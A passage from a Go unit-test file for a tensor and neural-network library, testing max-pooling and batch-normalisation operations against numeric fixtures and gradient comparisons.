0.5665453, 1.2572197, 1.2572197, 0.49872696, 0.81786186, 0.81786186, 0.6878814, 0.6878814, 1.3480358, 1.3480358, 2.6805708, 2.6805708, -0.16137354, 1.7944489, 1.7944489, 2.2320163, 2.2320163, 1.367415, 1.367415, 0.15364446, 0.15364446, 0.8444543, 0.8444543, 0.28376955, 0.33905926, 0.33905926, -0.58963203, 0.5483281, 1.7406294, 1.7406294, 1.0590272, 1.0590272, 0.87672675, 1.2572197, 1.2572197, 0.94940555, 0.94940555, 0.81786186, 0.23820019, 1.1493794, 1.1493794, 0.29751435, 1.3554426, 1.3554426, 0.58822495, 1.7944489, 1.7944489, 2.2320163, 2.2320163, 1.367415, 1.5877615, 1.5877615, 0.15364446, 0.99675965, 0.99675965, 0.28376955, 0.28376955, 0.079121724, 0.079121724, 0.8505307, 1.7406294, 1.7406294, 0.91722155, 0.91722155, 1.8666831, 1.8666831, 0.75746834, 1.238007, 1.238007, -0.086455286, 0.6234536, 1.1493794, 1.1493794, 0.51291686, 0.64305454, 0.64305454, 0.58822495, 2.5402317, 2.5402317, 0.9265583, 0.55808187, 0.15011522, 1.5877615, 1.5877615, 1.1277837, 1.0329891, 1.0329891, 1.4121517, 1.4121517, 0.079121724, 0.079121724, 0.8505307, -0.14989159, 0.084968135, 0.084968135, 0.5319746, 1.8666831, 1.8666831, 0.75746834, 1.238007, 1.238007, 2.2113044, 2.2113044, 0.8906717, 0.8906717, 0.51291686, 0.22734594, 1.6142496, 1.6142496, 2.5402317, 2.5402317, 0.9265583, 0.55808187, 1.5480669, 1.5480669, 1.1277837, 1.1277837, 1.0329891, 1.0329891, 1.4148741, 1.4148741, 0.15647626, -0.21634398, 0.44284612, 0.21839707, -0.25271067, -0.25271067, 0.6563907, 1.2605689, 1.2605689, 0.16586353, 1.3291413, 1.3291413, 2.2113044, 2.2113044, 1.9367125, 1.9367125, 0.38220277, 0.38220277, 1.6142496, 1.6142496, 1.0085973, 0.52759737, 0.8065638, 0.8065638, 1.5480669, 1.5480669, 1.1483506, 1.4028448, 1.4028448, 0.8246182, 1.4148741, 1.4148741, 0.15647626, -0.21634398, 0.56800735, 0.56800735, 0.08261103, 0.018922104, 0.6563907, 0.6563907, 1.0139722, 1.0139722, 1.3291413, 1.3291413, 1.0097119, 1.0097119, 1.9367125, 2.171165, 2.171165, 0.66207427, 1.1615338, 1.1615338, 2.190898, 2.190898, 0.9836362, 0.8065638, 0.25233144, 1.2098501, 1.2098501, 1.4028448, 1.4587147, 2.1531198, 2.1531198, 0.4683049, 0.6572677, 0.6572677, 0.56800735, 0.56800735, 0.62656426, 0.62656426, 0.018922104, 0.8449956, 1.0139722, 1.0139722, 2.042072, 2.042072, 1.0097119, 1.0097119, 0.72934633, 2.171165, 2.171165, 0.66207427, 0.53916126, 0.53916126, 2.190898, 2.190898, 0.9836362, 0.25233144, 0.60799253, 1.2098501, 1.2098501, 1.5612797, 1.5612797, 2.1531198, 2.1531198, 0.59936935, 0.6572677, 0.6572677, 0.46079433, 0.17124355, 1.4263169, 2.4884417, 2.4884417, 1.6959696, 1.8334354, 1.8334354, 2.042072, 2.042072, 0.46637958, -0.09439251, 0.72934633, 0.8020517, 0.8020517, 0.60413677, 0.60413677, -0.024549423, -0.8358561, 1.966764, 1.966764, 0.24664895, 1.419255, 1.419255, 0.9341797, 1.5612797, 1.5612797, 0.18418126, 0.21301717, 1.279812, 1.279812, -0.2563169, 0.46079433, -0.009657237, 1.4263169, 2.4884417, 2.4884417, 1.6959696, 1.8334354, 1.8334354, 1.801214, 1.801214, 0.46637958, -0.09439251, 0.8962484, 0.8962484, 0.88686466, 1.103694, 1.103694, 0.4005307, 0.13545467, 1.966764, 1.966764, 1.8593464, 1.419255, 1.419255, 0.9341797, 0.86900634, 1.1149246, 1.1149246, 0.024290914, 1.279812, 1.279812, 0.60896236, 0.40088567, 0.0032222164, -0.55598503, 0.19321355, 1.2973421, 1.2973421, 1.001331, 0.8179776, 1.801214, 1.801214, 1.4622141, 1.4622141, 0.8962484, 0.8962484, 0.88686466, 1.103694, 1.103694, 0.77905124, 0.13545467, 0.9687444, 1.8593464, 1.8593464, -0.13482246, 2.6205738, 2.6205738, 0.33510563, 1.1149246, 1.1149246, 0.013748487, 0.8253722, 0.8253722, 0.60896236, 0.0032222164, 0.021857359, 0.042539075, 1.5309323, 1.5309323, 0.18345025, 0.2727964, 0.8179776, 0.8179776, 1.4315678, 1.4622141, 1.4622141, 0.5383296, -0.14244542, -0.12656933, 0.4936441, 0.77905124, 0.77905124, 0.99012136, 0.99012136, 0.9687444, -0.021869909, -0.27120733, 2.6205738, 2.6205738, 1.7025702, 0.06763423, 0.44702417, 0.44702417, 0.8253722, 0.8253722, -0.29832315, 1.4219756, 0.45636335, 0.042539075, 1.5309323, 1.5309323, 0.092447735, -0.099008314, 0.777277, 0.777277, 0.5541276, 0.5541276, 0.5383296, 0.5383296, 0.71966815, 0.71966815, 0.4936441, 0.4936441, 0.48701534, 0.99012136, 0.99012136, -0.015779218, 0.9541896, 0.9541896, 0.54414475, 1.7025702, 1.7025702, 1.7148316, 1.7148316, 0.44702417, 0.17233914, 1.3985621, 1.3985621, 1.4219756, 0.7825789, 1.7975394, 1.7975394, 0.54565734, 0.54565734, 0.1508182, 1.6857923, 1.6857923, 0.5541276, 0.91064566, 0.91064566, -0.029856121, 0.71966815, 0.71966815, 0.038127385, 0.51271755, 0.51271755, 0.27566653, -0.015779218, -0.015779218, 1.2577442, 1.2577442, 0.54414475, 0.4472121, 1.4558079, 1.7148316, 1.7148316, 1.4849256, 0.4595849, 1.3985621, 1.3985621, 1.3905339, 0.7825789, 1.7975394, 1.7975394, 1.2165778, 1.2165778, 2.0347626, 2.0347626, 1.6857923, 0.9508337, 0.91064566, 0.91064566, 0.57275134, 0.67755705, 1.3071839, 1.3071839, 0.51271755, 0.8591042, 0.8591042, 0.8733118, 1.1997361, 1.2577442, 1.2577442, 0.041082226, 0.5934659, 1.4558079, 2.1982963, 2.1982963, 1.4849256, 0.4595849, 0.4595849, 0.28005785, 1.3905339, -0.15503581, 0.078514025, 0.41780058, 1.2165778, 1.2165778, 2.0347626, 2.0347626, 1.5743712, 1.5743712, 1.9887319, 1.9887319, 1.1172835, 0.67755705, 1.3071839, 1.3071839, 0.030546581, 1.2697648, 1.2697648, 0.8733118, 1.1997361, 1.1997361, 0.45615304, 0.7750233, 0.7750233, 0.5934659, 2.1982963, 2.1982963, 0.0012484558, 0.0012484558, -0.15993978, -0.58957994, -0.59815043, 0.4178537, 0.4178537, 0.41780058, 0.41780058, 1.342622, 1.8022423, 1.8022423, 1.5743712, 1.5743712, 1.9887319, 1.9887319, 1.4015235, 0.15843384, 1.054325, 1.054325, 0.030546581, 1.2697648, 1.2697648, 0.017515613, 0.32362577, 0.32362577, -0.020129103, 0.7750233, 0.92914516, 0.92914516, 0.37117255, 0.6436313, 0.68889666, 0.68889666, 0.2746472, -0.6036204, 0.70885956, 0.42281857, 0.64445204, 0.64445204, 0.6635616, 1.342622, 1.342622, 1.3151376, 1.3151376, 0.19782817, 1.0598063, 1.4015235, 1.4015235, 0.7435535, 0.7435535, 0.21035936, 1.36606, 1.555114, 1.555114, 0.61332625, 1.496911, 1.496911, 1.1831195, 0.71889716, 0.92914516, 0.92914516, 0.37117255, 0.6436313, 0.68889666, 0.68889666, 1.2729537, 1.2729537, 0.70885956, 0.42281857, 0.64445204, 0.64445204, 0.6635616, 0.6635616, 1.1936116, 1.1936116, -0.09816121, -0.14735366, 1.0598063, 1.0598063, 0.026246618, 0.7435535, 0.7435535, 0.21035936, 1.36606, 1.555114, 1.555114, 0.61332625, 1.496911, 1.496911, 1.1831195, 0.71889716, 0.14067191, 0.14067191, -0.15901226, 0.24005693, 0.24005693, 0.10015941, 1.2729537, 1.2729537, 0.73018354, 0.73018354, 0.38259813, 0.38259813, 0.87830377, 0.87830377, 1.2815113, 1.9142298, 1.9142298, 1.6266496, 1.6266496, 2.9290962, 2.9290962, 1.0805441, 1.0805441, 0.45616361, 0.45616361, 0.5707885, 1.5427964, 1.5427964, 1.3821819, 1.4867824, 1.4867824, 1.5116394, 1.7064682, 1.7064682, 0.70178336, 0.48334184, 0.50496995, 1.7236962, 1.7236962, 1.414415, 0.3257996, 0.124769524, -1.0126731, 0.32335654, 1.400689, 1.400689, 1.2815113, 1.9142298, 1.9142298, 1.6266496, 1.6266496, -0.0150050875, 0.41609964, 1.0805441, 1.0805441, 0.45616361, 0.66414404, 0.66414404, 1.5427964, 1.8961822, 1.8961822, 0.40955177, 0.40955177, 1.5116394, 1.7064682, 1.7064682, 0.70178336, 0.07328543, 0.5298338, 1.7108365, 1.7108365, 1.414415, -0.063661486, -0.11244375, 0.89786416, 0.89786416, 1.400689, 1.400689, 0.50481546, 1.3031809, 1.3031809, 1.0659268, 0.063896194, -0.9659539, 0.41609964, 0.41609964, 0.12253132, 0.12253132, 0.66414404, 0.66414404, 1.1279566, 1.8961822, 1.8961822, -0.28157544, -0.28157544, 0.44478136, 1.0223923, 1.0223923, 2.2856011, 2.2856011, 0.5298338, 0.8097407, 1.0799313, 1.0799313, 1.094167, -0.11244375, 1.131812, 1.131812, 0.29507577, -0.49941677, 0.1746801, 0.1746801, 1.2505698, 1.2505698, 0.063896194, -0.8633556, 0.14166717, 0.14166717, 1.3440744, 1.3440744, 0.5000167, -0.6289807, 1.1279566, 1.1279566, 1.7345722, 1.7345722, 0.57261336, 0.57261336, 0.87550914, 1.0985817, 2.2856011, 2.2856011, 0.81345224, 0.8097407, 1.0799313, 1.0799313, 1.094167, 0.42425263, 1.6295, 1.6295, -0.3000036, -0.3000036, -0.9325702, 1.7969185, 1.7969185, 1.2505698, -0.19871506, 1.4198639, 1.4198639, 0.6795679, 1.3440744, 1.3440744, 0.5670582, 0.9882406, 1.0700725, 1.0700725, 1.7345722, 1.7345722, 1.1035038, 0.57261336, 1.4099522, 1.4099522, 1.0985817, 0.81345224, 0.81345224, 0.75386566, 0.75386566, 0.36559147, 0.5880377, 1.55701, 1.6295, 1.6295, -0.3000036, -0.18779492, 0.4869373, 1.7969185, 1.7969185, 0.5953003, 1.1641518, 1.4198639, 1.4198639, 0.7289299, 0.6795679, -0.32125893, 0.5670582, 0.9882406, 1.0137506, 1.0137506, 0.50666904, 1.1035038, 1.1035038, 0.5569641, 1.4099522, 1.4099522, 0.77946055, 0.77946055, 0.28791544, 0.28791544, 0.36559147, 0.36559147, 0.924434, 1.55701, 1.55701, 1.0121332, 1.6184593, 1.6184593, 0.57110983, 0.4869373, 0.20579681, 0.5953003, 1.1641518, 1.1641518, 0.7289299, 0.7289299, -0.034475047, 0.072677895, 0.072677895, 0.3327982, 1.0137506, 1.0137506, 0.50666904, 2.4643219, 2.4643219, 1.1320051, 1.1320051, 0.6530373, -0.18844908, 0.2872573, 0.2872573, 1.3363862, 1.3363862, -0.0842233, 0.924434, 0.924434, 1.0121332, 1.7140515, 1.7140515, 1.6184593, 0.7669904, -0.45962644, 0.20579681, 0.3263751, 1.4831287, 1.4831287, 0.23908707, 0.650042, 0.650042, 0.23868157, 0.23868157, -0.11622244, 0.85464275, 0.85464275, 0.92660475, 2.4643219, 2.4643219, 1.1320051, 1.1320051, 0.409295, 0.39710623, 0.49964696, 0.49964696, 1.3363862, 1.3363862, -0.120041125, 0.46146888, -0.046481155, 0.037996013, 1.7140515, 1.7140515, 0.7669904, 0.86214805, 0.86214805, 0.4883706, 0.9659361, 1.4831287, 1.9612269, 1.9612269, 0.650042, 0.650042, 1.0616002, 1.0616002, -0.11622244, 0.830386, 0.830386, 0.92660475, 1.8004627, 1.8004627, 0.51650745, 0.51650745, 0.409295, 0.39710623, 0.49964696, 0.49964696, 0.24622276, 0.24622276, 0.09082593, 1.3970653, 1.497715, 1.497715, 0.5652672, 0.54985684, 0.40713033, 0.86214805, 0.86214805, 0.8989674, 0.9659361, 1.4226048, 1.9612269, 1.9612269, 1.3752254, 1.4994915, 1.4994915, 1.0616002, -0.86050975, 0.830386, 0.830386, 0.8576619, 0.8576619, 0.40807465, 1.0770375, 1.0770375, 0.016491488, 0.5746089, 0.5746089, 0.65880215, 0.65880215, 0.16987796, 0.09082593, 1.3970653, 1.497715, 1.497715, 0.81547195, 0.48096985, 0.48096985, 0.85282975, 0.85282975, 1.0044192, 1.0044192, 1.3141544, 1.3141544, 1.3752254, 1.3752254, 1.9258057, 1.951761, 1.951761, 1.2399405, 0.93858516, 0.5125622, 0.8576619, 0.8576619, -0.1105905, 1.0770375, 1.0770375, -0.22482656, 0.7920415, 0.7920415, 0.65880215, 0.65880215, 0.1118724, -0.22295918, 0.3105647, 0.3105647, 0.81547195, 0.81547195, 0.48096985, 0.69865024, 0.85282975, 0.85282975, 1.0044192, 1.0044192, 0.7315516, 0.6335339, 0.6335339, 0.8927082, 1.9258057, 1.951761, 1.951761, 1.9093426, 1.9093426, 1.6638731, 0.90082276, -0.35911658, -0.50900584, 1.6531498, 1.6531498, 0.38616636, 0.7920415, 0.7920415, 0.38182402, 0.3982961, 0.3982961, -0.67570317, 1.2228775, 0.3105647, 0.9719703, 0.9719703, 0.35026592, 0.69865024, 0.69865024, 0.5216252, 0.49689314, 0.7315516, 0.7315516, 0.3196498, -0.40985453, 0.8927082, 0.8927082, 0.63438666, 1.6292758, 1.9093426, 1.9093426, 1.6638731, 0.90082276, 0.7046427, 0.7046427, 1.6531498, 1.6531498, 0.7703309, 0.47348827, 1.8552462, 1.8552462, 1.4156562, 0.98967946, 0.98967946, 1.2228775, 1.1363881, 0.9719703, 0.9719703, 0.572627, 1.9026182, 1.9026182, -0.09302414, -0.18808974, 1.1778295, 1.1778295, -0.40176374, 0.3750199, 0.7979132, 0.7979132, 0.63438666, 1.6292758, 1.6292758, 0.13906415, -0.8576702, 0.88833886, 0.88833886, 0.7046427, 0.93679523, 0.93679523, 1.3289608, 1.3289608, 1.8552462, 1.8552462, 1.4156562, 0.98967946, 0.98967946, 1.1363881, 1.1363881, 0.67161655, 0.2501139, 0.572627, 1.9026182, 1.9026182, 0.64221096, 1.040239, 1.1778295, 1.1778295, 1.1445535, 1.1445535, 1.283455, 1.283455, 2.1886187, 2.1886187, 0.90072393, 0.90072393, 0.8913641, 0.88833886, 0.88833886, -0.52474195, 0.1265688, 0.7930071, 1.3289608, 1.3289608, 0.86301714, 0.86301714, 0.7271749, 0.7375215, 0.7375215, 0.43311873, 1.3207943, 1.3207943, 0.2501139, -0.28339776, 0.8165349, 0.8165349, 0.64221096, 1.040239, 1.0875463, 1.0875463, 1.1445535, 1.1445535, 1.283455, 1.283455, 2.1886187, 2.1886187, 0.90072393, 0.90072393, 0.8913641, -0.17248231, 0.29577908, 0.8425888, 0.8425888, 0.7930071, 0.7930071, 1.0061071, 1.0061071, 1.9595621, 1.9595621, 0.9423143, 0.7375215, 0.7550497, 1.3207943, 1.3207943, -0.09406245, 0.39756522, 0.8165349, 0.8165349, 0.6006052, 0.6006052, 1.0875463, 1.0875463, 0.73930454, 0.61915493, -0.8907292, 0.9219348, 0.9219348, 0.5225576, 0.5225576, 0.45028883, 0.45028883, 1.2341441, 1.4498476, 1.4498476, 0.8425888, 0.24561642, -0.03299648, 1.0061071, 1.0061071, 2.0118642, 2.0118642, 1.336235, 1.336235, 1.3423537, 0.6021635, 0.8732731, 1.9741, 1.9741, 0.47780856, -0.060137887, 0.6006052, 1.0241649, 1.0241649, 0.24461035, 0.089076206, 0.089076206, 0.26473877, 0.9219348, 0.9219348, 0.59542316, 0.59542316, 0.45028883, 0.45028883, 1.2341441, 1.4498476, 1.4498476, -0.24508175, -0.24508175, 0.3140257, 0.37287602, 0.8862932, 2.0118642, 2.0118642, 1.336235, 1.336235, 1.3423537, 0.6498296, 0.8732731, 1.9741, 1.9741, 1.8571023, 1.8571023, 0.41467425, 1.0241649, 1.0241649, 0.24461035, 0.6500845, 1.8209393, 1.8209393, 1.4540358, 1.4540358, 0.59542316, 1.0703601, 1.0703601, 1.2424939, 1.2424939, 1.060715, 1.060715, 0.66200536, 0.66200536, 0.3140257, 0.37287602, 0.8862932, 0.8862932, 0.7312936, 0.07077408, 0.07077408, 0.8188394, 0.6498296, 0.6498296, 0.4347888, 0.09725088, 1.8571023, 1.8571023, 0.66939247, 0.73860705, 1.3042139, 1.3042139, 0.6500845, 1.8209393, 1.8209393, 1.4540358, 1.4540358, 0.2934714, 1.0703601, 1.0703601, 1.2424939, 1.2424939, 0.65592444, -0.038476657, 0.66200536, 0.66200536, 0.50434357, -0.21653287, -0.21653287, 0.7312936, 0.8123336, 0.8123336, 0.54627186, 0.51226676, 0.51226676, 0.3251987, 0.3251987, 0.09725088, 0.679944, 0.679944, 0.66939247, 2.2542837, 2.2542837, 1.3042139, 0.2598325, -0.6783298, -0.083288394, 1.6028637, 1.6028637, 0.4655892, 1.176787, 1.176787, 1.6973464, 1.6973464, 0.65592444, 0.17462958, 0.982327, 1.0374448, 1.0374448, 0.15919177, -0.5053407, -0.5053407, 0.8123336, 0.8123336, 0.54627186, 0.51226676, 0.51226676, 0.08584311, 0.7510253, 0.7510253, 0.8375479, 1.9608808, 1.9608808, 2.2542837, 2.2542837, 1.2098372, 1.2098372, -0.6783298, -0.083288394, 1.6028637, 1.6028637, 0.78990495, 1.176787, 1.176787, 1.6973464, 1.6973464, 0.7591567, 0.17462958, 0.982327, 1.0374448, 1.0374448, 0.5769559, 0.5769559, 0.23497719, 0.6289996, 0.6289996, 0.31403384, 1.0122606, 1.0122606, 0.92874193, 1.081056, 1.5723304, 1.5723304, 1.9608808, 1.9608808, 0.79388034, 0.04399551, 1.2098372, 1.2098372, 0.32099947, 0.32099947, 0.5922057, 0.5922057, 0.78990495, 1.1022825, 1.1022825, 0.5769346, 0.8183537, 0.8183537, 0.100564204, 0.1066523, 1.5190033, 1.5190033, 1.90134, 1.90134, 0.27441698, 0.6289996, 0.6289996, 0.31403384, 1.0122606, 1.0122606, 0.92874193, 1.081056, 1.5723304, 1.5723304, 0.13998847, 0.79388034, 0.79388034, 0.04399551, 0.49097106, 0.8655252, 1.2740445, 1.2740445, 0.5922057, 0.5922057, 0.37317473, 1.0826722, 1.0826722, 1.072636, 1.072636, 0.8183537, -0.13580984, 1.0222104, 1.5190033, 1.5190033, 1.90134, 1.90134, 1.2466952, 1.2466952, 0.70068014, 0.6966507, -0.20697448, 0.6772459, 0.6772459, 0.022212664, 0.8982406, 0.8982406, 0.13998847, 0.9091885, 0.9091885, 0.08071989, 0.49097106, 0.8655252, 2.3374097, 2.3374097, 0.4693722, 1.5237712, 1.5237712, 1.0826722, 1.0826722, 1.226664, 1.226664, 0.8261257, 0.8261257, 1.0222104, 1.0222104, 0.13603121, 0.13603121, 0.5614499, 1.2466952, 1.2466952, 0.70068014, 0.6966507, -0.20697448, 0.6772459, 0.6772459, 1.3257079, 1.3257079, 0.8982406, 0.09152195, 1.0534397, 1.0534397, 1.0147377, 1.4403037, 1.4403037, 2.3374097, 2.3374097, 1.5148823, 1.6043264, 1.6043264, 0.20806953, -0.4292239, 1.226664, 1.226664, 0.8261257, 0.8261257, -0.057756558, -0.21716312, 0.13603121, 0.13603121, 0.5614499, 0.5614499, -0.33275875, -0.20400788, -0.20400788, 1.2598753, 1.2598753, 0.44786966, 1.3257079, 1.3257079, 1.0121683, 1.3841867, 1.3841867, 1.252002, 1.0147377, 1.4403037, 1.4403037, 1.6264315, 1.6264315, 1.5148823, 1.6043264, 1.6043264, 0.6941287, 0.66396505, 0.8220764, 0.8220764, -0.21321523, -0.15279447, 0.59172696, 0.59172696, -0.13022317, 0.61295235, 0.61295235, 0.12955453, 1.17942, 1.17942, 0.836636, 1.2598753, 1.2598753, 0.24099673, -0.28044778, 0.40508026, 1.0121683, 1.3841867, 1.3841867, 1.252002, 0.71178526, 0.27372944, 0.5620131, 0.7955496, 0.7955496, 0.49585068, 0.49585068, 0.6941287, 0.6941287, 0.66396505, 0.8220764, 0.8220764, 1.2412993, 1.2412993, 0.59172696, 0.59172696, -0.05872619, 0.61295235, 0.61295235, 0.12955453, 1.17942, 1.9457614, 1.9457614, 1.0723007, 1.0723007, -0.3070685, -0.3070685, 0.8528891, 0.8528891, 0.16491273, 0.16491273, 0.71178526, 1.9677297, 1.9677297, 0.44768322, 0.7955496, 0.7955496, 0.49585068, 0.49585068, 0.49908426, 0.49908426, 2.0791767, 2.0791767, 0.31263396, 1.2412993, 1.2412993, 1.5932736, 1.5932736, 0.5687224, 0.25163025, 0.25163025, -0.17724662, 0.19939707, 1.9457614, 1.9457614, 1.0723007, 1.0723007, 0.2791965, 0.004174999, 0.8528891, 0.8528891, 0.13468726, 0.13468726, 0.10233585, 1.9677297, 1.9677297, 0.44768322, -0.15065365, -0.15065365, -0.23469436, 0.8997308, 0.8997308, 0.32003194, 2.0791767, 2.0791767, 0.4723279, 0.9663058, 0.9663058, 1.5932736, 1.5932736, 0.74380016, 0.74380016, 0.5921491, -0.3937337, 0.085252576, 1.6616518, 1.6616518, 2.3602285, 2.3602285, 0.5555456, 0.43952233, 0.99914986, 0.99914986, 2.1600132, 2.1600132, -0.01155552, 0.83949065, 1.0923389, 1.0923389, 0.5668694, 0.5668694, -0.23469436, 0.8997308, 0.8997308, 0.76354146, 1.5703039, 1.5703039, 0.4723279, 0.9663058, 0.9663058, 0.21023144, 0.8961672, 0.8961672, 0.74380016, 1.1781894, 1.1781894, -0.94154567, 1.6616518, 1.6616518, 2.3602285, 2.3602285, 0.5555456, 0.43952233, 0.99914986, 0.99914986, 2.1600132, 2.1600132, -0.100301705, 0.302561, 1.0923389, 1.0923389, 0.5668694, 0.5668694, -0.5062735, -0.48948243, 0.76354146, 0.76354146, 0.1926161, 0.1926161, -0.34341785, -0.84721017, -1.2028884, -1.2028884, 0.8961672, 0.8961672, 0.15865193, 1.1781894, 1.1781894, -0.94154567, 0.25471553, 0.25471553}),
),
},
}
for _, tst := range tsts {
g := NewGraph()
x := NodeFromAny(g, tst.inputT)
y, err := MaxPool2D(x, tensor.Shape{2, 2}, []int{1, 0, 1, 0}, []int{1, 1})
if err != nil {
t.Fatal(err)
}
m := NewTapeMachine(g, BindDualValues())
if err := m.RunAll(); err != nil {
t.Fatal(err)
}
m.Close()
if len(y.Shape()) != len(tst.outputT.Shape()) {
t.Fatalf("Maxpool: expected shape %v, got %v", tst.outputT.Shape(), y.Shape())
}
for i, v := range y.Shape() {
if v != tst.outputT.Shape()[i] {
t.Fatalf("Maxpool: expected shape %v, got %v", tst.outputT.Shape(), y.Shape())
}
}
assert.Equal(y.Value().Data(), tst.outputT.Data())
}
}
func TestMaxPool2D(t *testing.T) {
assert := assert.New(t)
dts := []tensor.Dtype{tensor.Float64, tensor.Float32}
for _, dt := range dts {
g := NewGraph()
x := NewTensor(g, dt, 4, WithShape(1, 2, 3, 4), WithInit(RangedFrom(0)))
y, err := MaxPool2D(x, tensor.Shape{2, 2}, []int{0, 0}, []int{1, 1})
if err != nil {
t.Fatal(err)
}
cost := Must(Sum(y))
grads, err := Grad(cost, x)
if err != nil {
t.Fatal(err)
}
m := NewTapeMachine(g, BindDualValues())
if err := m.RunAll(); err != nil {
t.Fatal(err)
}
// t.Logf("x %v", x.Value())
// t.Logf("y: %v", y.Value())
// t.Logf("c: %v", cost.Value())
// t.Logf("xG: %v", grads[0])
h := NewGraph()
a := NewTensor(h, dt, 4, WithShape(1, 2, 3, 4), WithInit(RangedFrom(0)))
b, err := MaxPool2D(a, tensor.Shape{2, 2}, []int{0, 0}, []int{1, 1})
if err != nil {
t.Fatal(err)
}
cost2 := Must(Sum(b))
if err != nil {
t.Fatal(err)
}
m2 := NewLispMachine(h)
if err = m2.RunAll(); err != nil {
t.Fatal(err)
}
aG, err := a.Grad()
if err != nil {
t.Error(err)
return
}
assert.Equal(x.Value().Data(), a.Value().Data())
assert.Equal(grads[0].Value().Data(), aG.Data())
assert.Equal(cost.Value().Data(), cost2.Value().Data())
m.Close()
m2.Close()
}
}
func TestMaxPool(t *testing.T) {
testCases := []struct {
desc string
input tensor.Tensor
kernelSize tensor.Shape
pad []int
stride []int
expectedOutput []float64
expectedShape tensor.Shape
expectedCost float64
PoolFunc func(*Node, tensor.Shape, []int, []int) (*Node, error)
}{
{
desc: "Example 1",
input: tensor.New(
tensor.WithShape(1, 1, 4, 4),
tensor.WithBacking(tensor.Range(tensor.Float64, 0, 16)),
),
kernelSize: []int{4, 4},
pad: []int{0, 0},
stride: []int{1, 1},
expectedOutput: []float64{15},
expectedCost: 196,
expectedShape: tensor.Shape{1, 1, 1, 1},
PoolFunc: MaxPool2D,
},
}
for _, tcase := range testCases {
t.Run(tcase.desc, func(t *testing.T) {
c := require.New(t)
g := NewGraph()
input := NewTensor(g, tensor.Float64, tcase.input.Shape().Dims(), WithName("input"), WithShape(tcase.input.Shape()...), WithValue(tcase.input))
output, err := tcase.PoolFunc(input, tcase.kernelSize, tcase.pad, tcase.stride)
c.NoError(err)
t.Logf("%v output shape: %v", tcase.desc, output.Shape())
t.Logf("%v input shape: %v", tcase.desc, input.Shape())
y := NewTensor(g, output.Dtype(), output.Dims(), WithShape(output.Shape()...), WithInit(Ones()))
cost := Must(Mean(Must(Square(Must(Sub(output, y)))))) // MSE
_, err = Grad(cost, input)
c.NoError(err)
// logger := log.New(os.Stdout, "", 0)
vm := NewTapeMachine(
g,
//WithLogger(logger),
WithWatchlist(),
BindDualValues(output),
TraceExec(),
)
c.NoError(vm.RunAll())
c.NoError(vm.Close())
t.Logf("%v input %v", tcase.desc, input.Value())
t.Logf("%v result: %v", tcase.desc, output.Value())
t.Logf("%v cost: %v", tcase.desc, cost.Value())
c.Equal(tcase.expectedOutput, output.Value().Data())
c.Equal(tcase.expectedShape, output.Shape())
c.Equal(tcase.expectedCost, cost.Value().Data().(float64))
})
}
}
var (
bnSetStatsCases = []struct {
Dtype tensor.Dtype
Init InitWFn
Shape tensor.Shape
expectedErr string
}{
{Float32, RangedFromWithStep(0.0, 0.1), tensor.Shape{2, 2}, "invalid runningMean shape (2, 2). Expected: (2)"},
{Float64, RangedFromWithStep(0.0, 0.1), tensor.Shape{2}, "invalid runningMean type float64. Expected: float32"},
{Float32, RangedFromWithStep(0.0, 0.1), tensor.Shape{2}, ""},
}
)
func TestBatchNormSetStats(t *testing.T) {
g := NewGraph()
x := NewTensor(g, Float32, 2, WithShape(2, 2), WithInit(Zeroes()), WithName("x"))
_, _, _, op, _ := BatchNorm(x, nil, nil, 0.9, 1e-5)
for i, tC := range bnSetStatsCases {
t.Run(fmt.Sprintf("Example %d (%v)", i+1, tC.Dtype), func(t *testing.T) {
c := assert.New(t)
backing := tC.Init(tC.Dtype, tC.Shape...)
err := op.SetStats(
tensor.New(
tensor.Of(tC.Dtype),
tensor.WithShape(tC.Shape...),
tensor.WithBacking(backing),
),
tensor.New(
tensor.Of(tC.Dtype),
tensor.WithShape(tC.Shape...),
tensor.WithBacking(backing),
),
)
if tC.expectedErr == "" {
c.NoError(err)
m, v := op.Stats()
c.EqualValues(backing, m.Data())
c.EqualValues(backing, v.Data())
} else {
c.EqualError(err, tC.expectedErr)
}
})
}
}
func TestBatchNormAll(t *testing.T) {
for i, tC := range bnAllCases {
t.Run(fmt.Sprintf("#%d %v", i+1, tC.desc), func(t *testing.T) {
rand.Seed(0)
c := require.New(t)
g := NewGraph()
var initOpt NodeConsOpt
switch v := tC.X.(type) {
case []float32:
initOpt = WithValue(
tensor.New(
tensor.Of(tensor.Float32),
tensor.WithShape(tC.XShape...),
tensor.WithBacking(v),
),
)
case []float64:
initOpt = WithValue(
tensor.New(
tensor.Of(tensor.Float32),
tensor.WithShape(tC.XShape...),
tensor.WithBacking(v),
),
)
case InitWFn:
initOpt = WithInit(v)
}
x := NewTensor(g, tC.Dtype, tC.XShape.Dims(), WithShape(tC.XShape...), initOpt, WithName("x"))
scale := NewTensor(g, tC.Dtype, tC.ScaleShape.Dims(), WithShape(tC.ScaleShape...), WithInit(tC.ScaleInit), WithName("scale"))
bias := NewTensor(g, tC.Dtype, tC.BiasShape.Dims(), WithShape(tC.BiasShape...), WithInit(tC.BiasInit), WithName("bias"))
fcWeight := NewTensor(g, tC.Dtype, 2, WithShape(tC.XShape[0], tensor.Shape(tC.XShape[1:]).TotalSize()), WithInit(tC.ScaleInit), WithName("fcWeight"))
y, _, _, op, err := BatchNorm(x, scale, bias, 0.9, 1e-5)
c.NoError(err)
if y.Dims() > 2 {
y = Must(Reshape(y, fcWeight.Shape()))
}
wT := Must(Transpose(fcWeight, 1, 0))
y = Must(Mul(y, wT))
var yVal, scaleVal Value
Read(y, &yVal)
Read(scale, &scaleVal)
cost, _ := Mean(y)
if _, err := Grad(cost, x, fcWeight, scale, bias); err != nil {
t.Fatal(err)
}
optimizer := NewAdamSolver(WithLearnRate(0.02))
m := NewTapeMachine(g, BindDualValues(x, fcWeight, scale, bias), TraceExec(), WithInfWatch(), WithNaNWatch())
err = m.RunAll()
c.NoError(err)
c.NoError(m.Close())
err = optimizer.Step(NodesToValueGrads(Nodes{fcWeight, scale, bias}))
c.NoError(err)
// for visual inspection
t.Logf("%v input:\n%v", tC.desc, x.Value())
t.Logf("%v running mean: %v", tC.desc, op.runningMean)
t.Logf("%v running var: %v", tC.desc, op.runningVariance)
t.Logf("%v output:\n%v", tC.desc, y.Value())
t.Logf("%v output grad:\n%v", tC.desc, y.Deriv().Value())
t.Logf("%v fc weight:\n%v", tC.desc, fcWeight.Value())
t.Logf("%v scale: %v", tC.desc, scale.Value())
t.Logf("%v scale grad: %v", tC.desc, scale.Deriv().Value())
t.Logf("%v bias: %v", tC.desc, bias.Value())
t.Logf("%v bias grad: %v", tC.desc, bias.Deriv().Value())
